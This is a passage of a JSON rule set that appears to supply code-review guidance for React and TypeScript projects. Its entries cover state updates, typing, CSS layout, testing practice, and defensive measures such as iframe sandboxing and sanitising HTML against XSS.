sometimes preferable to a plain value callback when consumers must increment counts safely. Exceptions: If the new value doesn't depend on the previous one (a direct replacement), passing the value directly is fine.","whyItMatters":"Computing from the closed-over value means rapid successive calls all start from the same stale snapshot, so updates get dropped and counts drift.","priority":"p1","scope":"universal"},{"title":"Expose intent-level event callbacks, not internal state mutation","rule":"Keep a component's state shape internal and expose simple semantic callbacks; don't make consumers reach in and mutate internal structures.","apiRule":"Keep a component's state shape internal and expose simple semantic callbacks; don't make consumers reach in and mutate internal structures. Pushing a dispatch/switch into every consumer forces them to understand and re-implement the component's internal data structure, duplicating logic and creating boilerplate at each call site. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When you find yourself exposing a setter or dispatch so consumers can patch internal fields, that's a signal the abstraction is leaking — add a semantic callback instead. Exceptions: If the component is genuinely meant to be fully controlled (state owned by the parent), a controlled prop + onChange pair is fine — but that's a deliberate design choice, not a default.","whyItMatters":"Pushing a dispatch/switch into every consumer forces them to understand and re-implement the component's internal data structure, duplicating logic and creating boilerplate at each call site.","priority":"p1","scope":"universal"},{"title":"Declare explicit return types on functions","rule":"Annotate function return types instead of relying on inference, so the contract is clear and accidental changes are caught.","apiRule":"Annotate function return types instead of relying on inference, so the contract is clear and accidental changes are caught. Without an annotation the reader must mentally execute the body to learn the return type, and an edit can change it without any signal. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Most valuable on exported and public-API functions; trivial one-line inline callbacks can usually stay inferred. Exceptions: Balance against prefer-inference-for-primitive-state: annotate return types on exported/public functions where the contract matters, not on trivial local helpers. Balance against infer-loader-data-types-from-implementation: annotate return types on regular functions and exported APIs for an explicit contract.","whyItMatters":"Without an annotation the reader must mentally execute the body to learn the return type, and an edit can change it without any signal.","priority":"p2","scope":"universal"},{"title":"Type side-effect wrapper handlers as returning void","rule":"Handlers whose job is to run side effects (setState + optional callback) should be typed to return void, not leak an inner callback's return type.","apiRule":"Handlers whose job is to run side effects (setState + optional callback) should be typed to return void, not leak an inner callback's return type. Returning the optional callback's result gives the handler an accidental, misleading return type. Callers might think the value matters. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Don't write `return callback?.()` in a handler whose contract is side-effectful; call it on its own line so the void type holds.","whyItMatters":"Returning the optional callback's result gives the handler an accidental, misleading return type. Callers might think the value matters.","priority":"p2","scope":"universal"},{"title":"Default gracefully instead of throwing on missing optional config","rule":"When an optional input is absent, fall back to a sensible default rather than throwing and crashing the whole feature.","apiRule":"When an optional input is absent, fall back to a sensible default rather than throwing and crashing the whole feature. Throwing on a missing optional value takes down the entire feature — users see nothing instead of a working list — just because one optional input was omitted. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Reserve hard invariants/throws for genuinely unrecoverable programmer errors where no safe default exists and continuing would corrupt data. A missing optional UI prop with an obvious default is not one of those cases. Exceptions: If the value is truly required for correctness and there is no safe default (e.g. a missing API key on the server), failing fast with a clear error is appropriate. Balance against prefer-null-over-defaults-for-missing-data: supply a default only for optional config where a sensible fallback is unambiguous and no consumer needs to detect absence.","whyItMatters":"Throwing on a missing optional value takes down the entire feature — users see nothing instead of a working list — just because one optional input was omitted.","priority":"p1","scope":"universal"},{"title":"Remove cargo-culted CSS you can't justify","rule":"Don't keep CSS classes copied from elsewhere without understanding them; remove a class unless you can explain why this component needs it.","apiRule":"Don't keep CSS classes copied from elsewhere without understanding them; remove a class unless you can explain why this component needs it. An unexplained class copied from elsewhere lingers as noise and obscures which styles actually matter for this component. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If you can demonstrate the class is actually needed (e.g. it prevents flex/grid overflow), keep it and ideally note why.","whyItMatters":"An unexplained class copied from elsewhere lingers as noise and obscures which styles actually matter for this component.","priority":"p2","scope":"universal"},{"title":"Dedup with a clear early-return, not timer/microtask tricks","rule":"Guard repeated work by checking an 'already done' set and returning early, instead of 0ms timers or microtask scheduling that are hard to follow.","apiRule":"Guard repeated work by checking an 'already done' set and returning early, instead of 0ms timers or microtask scheduling that are hard to follow. The timer plus extra ref flag obscures intent; you can't read the logic top-to-bottom because the real work is deferred and conditioned on which run this is. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The timer plus extra ref flag obscures intent; you can't read the logic top-to-bottom because the real work is deferred and conditioned on which run this is.","priority":"p2","scope":"universal"},{"title":"Don't guard against states that cannot occur","rule":"Avoid defensive null/branch checks for conditions that are impossible given the surrounding invariants; they add noise and mislead readers.","apiRule":"Avoid defensive null/branch checks for conditions that are impossible given the surrounding invariants; they add noise and mislead readers. The null branch handles a case that the surrounding invariants make impossible, so it is dead code that implies a possibility readers must reason about. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep the guard if the impossibility isn't actually guaranteed (e.g. the value can change asynchronously or comes from an untyped boundary).","whyItMatters":"The null branch handles a case that the surrounding invariants make impossible, so it is dead code that implies a possibility readers must reason about.","priority":"p2","scope":"universal"},{"title":"Make registration side effects idempotent for Strict Mode","rule":"Effects that register with a non-idempotent external API must guard against Strict Mode's double-invoke by tracking what was already registered.","apiRule":"Effects that register with a non-idempotent external API must guard against Strict Mode's double-invoke by tracking what was already registered. Strict Mode invokes the effect twice in development, so a non-idempotent register call fires twice and can corrupt the SDK's state or duplicate work. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Identifying the right cleanup boundary matters: release only when the component truly unmounts, not on the throwaway Strict Mode unmount.","whyItMatters":"Strict Mode invokes the effect twice in development, so a non-idempotent register call fires twice and can corrupt the SDK's state or duplicate work.","priority":"p1","scope":"universal"},{"title":"Use Grid for page-scale layout, Flexbox for inline UI","rule":"Choose CSS Grid for larger two-dimensional layouts and keep Flexbox for small one-dimensional inline arrangements.","apiRule":"Choose CSS Grid for larger two-dimensional layouts and keep Flexbox for small one-dimensional inline arrangements. Building a multi-column page region with nested Flex containers needs extra wrappers and makes centering and sizing the columns fiddly. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Flexbox is the right tool for one-dimensional inline groups (toolbars, button rows, tag lists) and where content-driven wrapping is desired.","whyItMatters":"Building a multi-column page region with nested Flex containers needs extra wrappers and makes centering and sizing the columns fiddly.","priority":"p2","scope":"universal"},{"title":"Use matchMedia instead of a window resize handler for breakpoint logic","rule":"Drive responsive state with matchMedia / MediaQueryList listeners rather than recomputing window.innerWidth on every resize event.","apiRule":"Drive responsive state with matchMedia / MediaQueryList listeners rather than recomputing window.innerWidth on every resize event. The handler runs on every resize tick and re-reads layout, even when the breakpoint hasn't been crossed. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use a resize handler when you need the continuous pixel value (e.g. for fluid sizing) rather than discrete breakpoint matching.","whyItMatters":"The handler runs on every resize tick and re-reads layout, even when the breakpoint hasn't been crossed.","priority":"p2","scope":"universal"},{"title":"Substitute env-dependent URLs at build time, not via runtime injection","rule":"Use build-time constant/env replacement to bake host/URL values into static HTML and use a static preconnect, instead of branching on hostname and injecting scripts at runtime.","apiRule":"Use build-time constant/env replacement to bake host/URL values into static HTML and use a static preconnect, instead of branching on hostname and injecting scripts at runtime. Picking the host at runtime and injecting the script means the browser can't discover the resource early, and a static preconnect can't target a host that's only known at runtime. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Runtime injection is acceptable when the resource genuinely depends on runtime state that the build cannot know (e.g. a value derived from the logged-in user). Balance against use-runtime-server-config-for-deploy-specific-values: bake values in at build time only when each environment ships its own build and no runtime variance exists.","whyItMatters":"Picking the host at runtime and injecting the script means the browser can't discover the resource early, and a static preconnect can't target a host that's only known at runtime.","priority":"p1","scope":"stack-specific"},{"title":"Flatten module directories unless collocation is earned","rule":"Keep related components flat in one folder; only nest a component into its own directory when it has genuinely private companion files.","apiRule":"Keep related components flat in one folder; only nest a component into its own directory when it has genuinely private companion files. Each component gets its own subdirectory and barrel file purely because of import relationships, adding folders and indirection without private companion files to justify them. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Nest a component when it owns private companion files (tests, styles, subcomponents) that should be collocated and not reused elsewhere.","whyItMatters":"Each component gets its own subdirectory and barrel file purely because of import relationships, adding folders and indirection without private companion files to justify them.","priority":"p2","scope":"universal"},{"title":"Use camelCase props; map snake_case only at the API boundary","rule":"Expose camelCase prop and key names; convert to a third-party's snake_case payload at the boundary instead of leaking it into your component API.","apiRule":"Expose camelCase prop and key names; convert to a third-party's snake_case payload at the boundary instead of leaking it into your component API. The component adopts the SDK's snake_case naming, leaking an implementation detail into its public prop names. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The component adopts the SDK's snake_case naming, leaking an implementation detail into its public prop names.","priority":"p1","scope":"universal"},{"title":"Comment the origin of ambient global declarations","rule":"When augmenting global types (e.g. Window) for third-party scripts, add a short comment naming what injects each global.","apiRule":"When augmenting global types (e.g. Window) for third-party scripts, add a short comment naming what injects each global. Nothing tells a reader which external script provides each global or why it's declared, making the augmentation hard to maintain. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Nothing tells a reader which external script provides each global or why it's declared, making the augmentation hard to maintain.","priority":"p2","scope":"universal"},{"title":"Name the props interface `Props` for single-component files","rule":"Use a plain `Props` name for the props interface when a file defines one component; reserve `ComponentNameProps` for exported library types.","apiRule":"Use a plain `Props` name for the props interface when a file defines one component; reserve `ComponentNameProps` for exported library types. The `UserCard` prefix is redundant noise when there's only one component in the file and the type isn't part of a public API. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use a descriptive `ComponentNameProps` name when the props type is exported from a library or referenced by name across files.","whyItMatters":"The `UserCard` prefix is redundant noise when there's only one component in the file and the type isn't part of a public API.","priority":"p2","scope":"universal"},{"title":"Remove stale file-header comments and leftover dev notes","rule":"Strip out comments that name the wrong file, large commented-out blocks, and throwaway dev/scratch notes; keep only comments that explain current intent.","apiRule":"Strip out comments that name the wrong file, large commented-out blocks, and throwaway dev/scratch notes; keep only comments that explain current intent. A wrong filename header, a vague non-English scratch note, and a copy-paste reminder all mislead and rot as the code evolves. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep TODO/FIXME comments that track real, intended work — ideally with a linked issue.","whyItMatters":"A wrong filename header, a vague non-English scratch note, and a copy-paste reminder all mislead and rot as the code evolves.","priority":"p2","scope":"universal"},{"title":"Add a sandbox attribute to iframes with untrusted sources","rule":"When an iframe's src is external or user-influenced, set a sandbox attribute (and lazy-load) to contain it, re-enabling only the specific capabilities required.","apiRule":"When an iframe's src is external or user-influenced, set a sandbox attribute (and lazy-load) to contain it, re-enabling only the specific capabilities required. With no sandbox, the embedded page runs scripts, top-level navigation, popups, and form submissions with full privileges, widening the attack surface. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A first-party iframe pointing at fully trusted same-origin content you control may not need sandboxing; weigh the functionality you'd have to re-grant.","whyItMatters":"With no sandbox, the embedded page runs scripts, top-level navigation, popups, and form submissions with full privileges, widening the attack surface.","priority":"p0","scope":"universal"},{"title":"Guard fixed array index access or map instead","rule":"Reading arr[0]/arr[1]/arr[2] from a variable-length array can render undefined or break; provide a fallback per access (?? '') or render by mapping over the array.","apiRule":"Reading arr[0]/arr[1]/arr[2] from a variable-length array can render undefined or break; provide a fallback per access (?? '') or render by mapping over the array. If fewer than three columns are passed, the missing cells render undefined with no safeguard. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the array length is guaranteed by a tuple type or contract, direct indexing is acceptable.","whyItMatters":"If fewer than three columns are passed, the missing cells render undefined with no safeguard.","priority":"p2","scope":"universal"},{"title":"Keep table rows inside valid thead/tbody/tfoot sections","rule":"Don't place a <thead> after a <tbody> or leave a <tr> directly under <table>; each row must live in a section, and a second header means a new <tbody> row or a separate table.","apiRule":"Don't place a <thead> after a <tbody> or leave a <tr> directly under <table>; each row must live in a section, and a second header means a new <tbody> row or a separate table. A second <thead> after a <tbody> and a bare <tr> under <table> are invalid; the browser reorders the sections, breaking the intended layout and semantics. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A single table may legitimately contain multiple <tbody> sections; that is valid — the rule forbids multiple <thead> and orphan rows.","whyItMatters":"A second <thead> after a <tbody> and a bare <tr> under <table> are invalid; the browser reorders the sections, breaking the intended layout and semantics.","priority":"p1","scope":"universal"},{"title":"Don't spread into a new object just to alias a value","rule":"If you're not adding or overriding any fields, assign the value directly instead of spreading it into a new object literal.","apiRule":"If you're not adding or overriding any fields, assign the value directly instead of spreading it into a new object literal. The spread copies every field into a new object without changing anything, adding an allocation and obscuring that data is just the loader result. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Spreading is correct when you add, override, or omit fields, or when you intentionally need a shallow copy to avoid mutating the source.","whyItMatters":"The spread copies every field into a new object without changing anything, adding an allocation and obscuring that data is just the loader result.","priority":"p2","scope":"universal"},{"title":"Render nullable booleans as three states, not yes/no","rule":"For a boolean that can be undefined/null, don't collapse it with `value ? 'Yes' : 'No'`; check === true / === false explicitly and show a neutral placeholder for the unknown state.","apiRule":"For a boolean that can be undefined/null, don't collapse it with `value ? 'Yes' : 'No'`; check === true / === false explicitly and show a neutral placeholder for the unknown state. When isAudited is undefined the expression falls to 'No', presenting unknown data as a definitive negative. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the field is non-nullable by type/contract, a plain ternary is fine.","whyItMatters":"When isAudited is undefined the expression falls to 'No', presenting unknown data as a definitive negative.","priority":"p2","scope":"universal"},{"title":"Compose strings from optional parts via filter(Boolean).join(' ')","rule":"When concatenating optional segments (names, addresses), don't interpolate with ?? '' — that yields double spaces or 'undefined'. Put parts in an array, filter(Boolean), and join with a single space.","apiRule":"When concatenating optional segments (names, addresses), don't interpolate with ?? '' — that yields double spaces or 'undefined'. Put parts in an array, filter(Boolean), and join with a single space. When middleName is undefined the ?? '' leaves an extra space between the remaining parts, producing 'John Doe'. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"When middleName is undefined the ?? '' leaves an extra space between the remaining parts, producing 'John Doe'.","priority":"p2","scope":"universal"},{"title":"Select records by key with .find(), not by array index, when order isn't guaranteed","rule":"Don't treat data[0] as the newest/selected item when the source doesn't guarantee ordering; locate the record with .find() on a meaningful field so a backend reorder can't surface stale data.","apiRule":"Don't treat data[0] as the newest/selected item when the source doesn't guarantee ordering; locate the record with .find() on a meaningful field so a backend reorder can't surface stale data. Index 0 is only 'latest' by coincidence of current API ordering; if the backend returns records in a different order the UI silently shows the wrong year. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the API contract explicitly guarantees ordering (e.g. documented 'sorted descending by date'), indexing is acceptable — reference that guarantee in a comment.","whyItMatters":"Index 0 is only 'latest' by coincidence of current API ordering; if the backend returns records in a different order the UI silently shows the wrong year.","priority":"p1","scope":"universal"},{"title":"Export every type referenced by an exported type","rule":"If an exported interface/type references nested types, export those too; otherwise declaration emit breaks with 'private name' errors and consumers can't use the public API type.","apiRule":"If an exported interface/type references nested types, export those too; otherwise declaration emit breaks with 'private name' errors and consumers can't use the public API type. ApiResponse is exported but User and Order are not, so .d.ts emission fails and consumers cannot reference the User/Order shapes they receive. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Truly internal helper types used only inside the module need not be exported as long as no exported type references them.","whyItMatters":"ApiResponse is exported but User and Order are not, so .d.ts emission fails and consumers cannot reference the User/Order shapes they receive.","priority":"p1","scope":"universal"},{"title":"Sanitize HTML before dangerouslySetInnerHTML","rule":"Never feed untrusted/external HTML straight into dangerouslySetInnerHTML; run it through a vetted sanitizer (e.g. DOMPurify) first to prevent XSS.","apiRule":"Never feed untrusted/external HTML straight into dangerouslySetInnerHTML; run it through a vetted sanitizer (e.g. DOMPurify) first to prevent XSS. companyInfoRt comes from an external API and is injected verbatim, so a compromised or malicious response can execute arbitrary script in the user's session. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the markup is fully static and authored in-repo (not from any external/user source), sanitization is unnecessary — but prefer rendering it as JSX in that case.","whyItMatters":"companyInfoRt comes from an external API and is injected verbatim, so a compromised or malicious response can execute arbitrary script in the user's session.","priority":"p0","scope":"universal"},{"title":"Don't return cleanup from a ref callback; use useRef + useEffect","rule":"Ref callbacks ignore returned cleanup functions, so listeners/subscriptions attached inside them leak. Hold the node in a ref and set up/tear down the subscription in a useEffect.","apiRule":"Ref callbacks ignore returned cleanup functions, so listeners/subscriptions attached inside them leak. Hold the node in a ref and set up/tear down the subscription in a useEffect. React invokes the ref callback with the node on mount and null on unmount but discards its return value, so controller.abort() is never called and the listener leaks. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: React 19+ does support returning a cleanup function from a ref callback; even so, useRef + useEffect is clearer for non-trivial subscriptions.","whyItMatters":"React invokes the ref callback with the node on mount and null on unmount but discards its return value, so controller.abort() is never called and the listener leaks.","priority":"p1","scope":"stack-specific"},{"title":"Check response.ok directly and throw errors with status + context","rule":"fetch resolves to a Response (or throws), so don't optional-chain response?.ok; when !response.ok, throw an error that includes the status code, statusText, and the resource identifier.","apiRule":"fetch resolves to a Response (or throws), so don't optional-chain response?.ok; when !response.ok, throw an error that includes the status code, statusText, and the resource identifier. The optional chaining on response?.ok is meaningless because fetch never resolves to null/undefined, and the error message gives no clue about which user failed or why. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If response can genuinely be undefined (e.g. a wrapper that may return null on abort), keep the guard — but then the type, not optional chaining at the call site, should express that.","whyItMatters":"The optional chaining on response?.ok is meaningless because fetch never resolves to null/undefined, and the error message gives no clue about which user failed or why.","priority":"p1","scope":"universal"},{"title":"Assert element absence with a semantic matcher, not length checks","rule":"Use .not.toBeInTheDocument() to assert an element isn't present instead of checking a queried collection's length.","apiRule":"Use .not.toBeInTheDocument() to assert an element isn't present instead of checking a queried collection's length. Checking length 0 tests the query result indirectly and produces an opaque failure message about array length. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Checking length 0 tests the query result indirectly and produces an opaque failure message about array length.","priority":"p2","scope":"universal"},{"title":"Use the numeric predicate that matches your intent (isNaN vs isFinite)","rule":"Prefer Number.isNaN for 'not a number' checks; use Number.isFinite only when Infinity must also be rejected.","apiRule":"Prefer Number.isNaN for 'not a number' checks; use Number.isFinite only when Infinity must also be rejected. If the real concern is 'id parsed to NaN', isFinite obscures intent and also silently rejects Infinity, which may not be what you mean. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"If the real concern is 'id parsed to NaN', isFinite obscures intent and also silently rejects Infinity, which may not be what you mean.","priority":"p2","scope":"universal"},{"title":"Use rgb() with alpha instead of legacy rgba()","rule":"Modern rgb() supports an alpha channel; prefer it over the legacy rgba() syntax.","apiRule":"Modern rgb() supports an alpha channel; prefer it over the legacy rgba() syntax. rgba() is the legacy form kept only for backwards compatibility. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"rgba() is the legacy form kept only for backwards compatibility.","priority":"p2","scope":"universal"},{"title":"Await async calls; don't leave floating promises","rule":"Await promise-returning calls (including async test helpers) instead of firing and forgetting them.","apiRule":"Await promise-returning calls (including async test helpers) instead of firing and forgetting them. A floating promise means errors go unhandled and ordering is non-deterministic; the render may not have settled before the next step. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. A linter that flags no-floating-promises (e.g. via oxlint/typescript-eslint) catches these automatically.","whyItMatters":"A floating promise means errors go unhandled and ordering is non-deterministic; the render may not have settled before the next step.","priority":"p1","scope":"universal"},{"title":"Annotate the variable's type instead of using `as`","rule":"Replace `as` casts with a type annotation on the declaration so the compiler verifies the value.","apiRule":"Replace `as` casts with a type annotation on the declaration so the compiler verifies the value. `as number[]` overrides inference for one field and gives no guarantee the rest of the object matches the intended shape; casts suppress errors instead of surfacing them. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: `as const` is fine. A narrow cast is acceptable only when you genuinely have more information than the type system (e.g. after a validated runtime check) and a comment explains why.","whyItMatters":"`as number[]` overrides inference for one field and gives no guarantee the rest of the object matches the intended shape; casts suppress errors instead of surfacing them.","priority":"p1","scope":"universal"},{"title":"Type-check mock fixtures with `satisfies` against the real shape","rule":"Annotate test mock payloads with `satisfies ExpectedType` so they stay in sync with the contract.","apiRule":"Annotate test mock payloads with `satisfies ExpectedType` so they stay in sync with the contract. Nothing checks this mock against FollowingResponse, so a missing or misnamed field silently diverges from what the code expects. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Nothing checks this mock against FollowingResponse, so a missing or misnamed field silently diverges from what the code expects.","priority":"p2","scope":"universal"},{"title":"Test implementation details through the feature, not in isolation","rule":"Cover internal helper modules via the component/feature that uses them; reserve dedicated unit tests for complex internal logic.","apiRule":"Cover internal helper modules via the component/feature that uses them; reserve dedicated unit tests for complex internal logic. Testing internal helpers directly couples tests to implementation; refactors break tests even when user-visible behavior is unchanged. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep a separate unit test when the internal logic has many edge cases that are hard or expensive to reach through the feature.","whyItMatters":"Testing internal helpers directly couples tests to implementation; refactors break tests even when user-visible behavior is unchanged.","priority":"p1","scope":"universal"},{"title":"Mock HTTP with MSW instead of stubbing global fetch","rule":"Use request interception (MSW) so tests verify the real endpoint/method, not a blanket fetch stub.","apiRule":"Use request interception (MSW) so tests verify the real endpoint/method, not a blanket fetch stub. A blanket fetch stub returns the same response for any URL, so the test can't tell whether the code called the right endpoint with the right method. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"A blanket fetch stub returns the same response for any URL, so the test can't tell whether the code called the right endpoint with the right method.","priority":"p1","scope":"stack-specific"},{"title":"Run tests that touch browser globals in a browser/DOM environment","rule":"Prefer a real browser/jsdom test over stubbing window in a Node test for code that uses browser globals.","apiRule":"Prefer a real browser/jsdom test over stubbing window in a Node test for code that uses browser globals. Stubbing a fake window in Node diverges from the real environment; the stub can hide bugs that only a real window/DOM would surface. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Stubbing a fake window in Node diverges from the real environment; the stub can hide bugs that only a real window/DOM would surface.","priority":"p2","scope":"stack-specific"},{"title":"Stub and assert on the global directly, not via a local alias","rule":"Avoid a top-level test variable that just mirrors a global; set up and assert on the global itself.","apiRule":"Avoid a top-level test variable that just mirrors a global; set up and assert on the global itself. The dataLayer alias adds indirection and can drift from window.dataLayer; the test reads less like the real code path. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The dataLayer alias adds indirection and can drift from window.dataLayer; the test reads less like the real code path.","priority":"p2","scope":"universal"},{"title":"Use a precise/indexed-access type instead of Record<string, unknown>","rule":"Don't widen to Record<string, unknown> when the exact shape is derivable; derive it (e.g. (typeof x)[number]).","apiRule":"Don't widen to Record<string, unknown> when the exact shape is derivable; derive it (e.g. (typeof x)[number]). Widening to Record<string, unknown> throws away type checking — typos and missing fields in eventData go undetected even though the target's element type is known. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Widening to Record<string, unknown> throws away type checking — typos and missing fields in eventData go undetected even though the target's element type is known.","priority":"p1","scope":"universal"},{"title":"Comment your own code, not third-party library behavior","rule":"Don't restate how a library works in comments; document only what's non-obvious about your usage.","apiRule":"Don't restate how a library works in comments; document only what's non-obvious about your usage. This explains how the framework's config keys work — that's the framework's documentation job, and the note rots when the library changes. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"This explains how the framework's config keys work — that's the framework's documentation job, and the note rots when the library changes.","priority":"p2","scope":"universal"},{"title":"Keep guaranteed fields non-nullable; fix the source instead of widening the type","rule":"Do not change a required field's type to allow null just because a bug upstream occasionally produces null. Keep the type honest to the contract and fix the source.","apiRule":"Do not change a required field's type to allow null just because a bug upstream occasionally produces null. Keep the type honest to the contract and fix the source. Widening `name` to `string | null` makes the type lie about the contract and pushes defensive `?? 'Unknown'` checks into every consumer, while the real bug (the cache producing null) stays unfixed. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the field genuinely can be absent by design (optional API data, not-yet-loaded state), then nullable is correct and consumers should handle it.","whyItMatters":"Widening `name` to `string | null` makes the type lie about the contract and pushes defensive `?? 'Unknown'` checks into every consumer, while the real bug (the cache producing null) stays unfixed.","priority":"p1","scope":"universal"},{"title":"Prefer explicit literal const maps over Object.fromEntries with type assertions","rule":"Write lookup maps as hand-typed literal objects with `as const` instead of building them from arrays with Object.fromEntries and an `as` cast.","apiRule":"Write lookup maps as hand-typed literal objects with `as const` instead of building them from arrays with Object.fromEntries and an `as` cast. Object.fromEntries returns a loosely-typed object, so an `as` assertion is forced to restore the intended type. The cast hides any mistake in keys or values, and the array-to-map indirection is harder to scan than the maps themselves. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: When there are many entries and they are genuinely the single source of truth, a typed builder helper that returns a strongly-typed map (no raw `as`) can be acceptable.","whyItMatters":"Object.fromEntries returns a loosely-typed object, so an `as` assertion is forced to restore the intended type. The cast hides any mistake in keys or values, and the array-to-map indirection is harder to scan than the maps themselves.","priority":"p1","scope":"universal"},{"title":"Document non-obvious workarounds with a linked upstream issue","rule":"Annotate any non-obvious workaround or suspicious config line with a comment explaining why, and link the upstream issue/PR that justifies it.","apiRule":"Annotate any non-obvious workaround or suspicious config line with a comment explaining why, and link the upstream issue/PR that justifies it. The comment restates what the code does but not why it is needed. A future maintainer can't tell whether the workaround is still required or safe to remove. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Confirm the workaround is actually needed before adding it (reproduce the failure, search for newer fixed versions). Linking a resolved or open upstream issue documents that due diligence.","whyItMatters":"The comment restates what the code does but not why it is needed. A future maintainer can't tell whether the workaround is still required or safe to remove.","priority":"p2","scope":"universal"},{"title":"Scope test-only build config under the test block, not top-level","rule":"Place test-only options (e.g. dep pre-bundling for the test runner) inside the test config block so the production build does not act on them.","apiRule":"Place test-only options (e.g. dep pre-bundling for the test runner) inside the test config block so the production build does not act on them. optimizeDeps is declared at the top level, so the production build (vite build) also consumes it even though these are test-only dependencies. The intent is unclear and the build does extra, unintended work. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Applies to any tool that merges a shared config with a separate test section (Vite/Vitest, Jest projects, etc.). When the runner supports a test-scoped equivalent of a build option, prefer the scoped one. Exceptions: If an option genuinely needs to apply to both the build and the tests, keeping it top-level is correct.","whyItMatters":"optimizeDeps is declared at the top level, so the production build (vite build) also consumes it even though these are test-only dependencies. The intent is unclear and the build does extra, unintended work.","priority":"p1","scope":"stack-specific"},{"title":"Inline trivial single-use wrappers instead of extracting them","rule":"Don't create a named utility for a one-liner that just wraps a built-in; inline it unless it's reused or hides real complexity.","apiRule":"Don't create a named utility for a one-liner that just wraps a built-in; inline it unless it's reused or hides real complexity. The utility adds an extra name, file, and import to read through, but does nothing a reader couldn't grasp instantly from the inline loop. It is used in only one place and hides no complexity. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Heuristics for keeping a wrapper: it is called from more than one place, it encapsulates non-obvious logic or edge cases, or its name communicates intent that the inline code does not. If none of these hold, prefer the inline form. Exceptions: Keep the wrapper if the same loop/call is needed in several call sites, if it isolates a tricky API quirk, or if a descriptive name materially improves readability at the call site. Balance against extract-generic-ui-patterns: inline the wrapper when it appears once and wraps a single built-in with no added behavior.","whyItMatters":"The utility adds an extra name, file, and import to read through, but does nothing a reader couldn't grasp instantly from the inline loop. It is used in only one place and hides no complexity.","priority":"p2","scope":"universal"},{"title":"Favor readable map/filter over hand-rolled loops unless data size warrants it","rule":"Choose declarative, readable transformations over imperative single-pass loops unless the collection is large enough that the extra iteration actually matters.","apiRule":"Choose declarative, readable transformations over imperative single-pass loops unless the collection is large enough that the extra iteration actually matters. Reaching for a manual loop to save one pass over a small list is premature optimization: it adds boilerplate (mutable accumulator, continue) without a measurable benefit, hurting readability for nothing. Priority: P2. Scope: 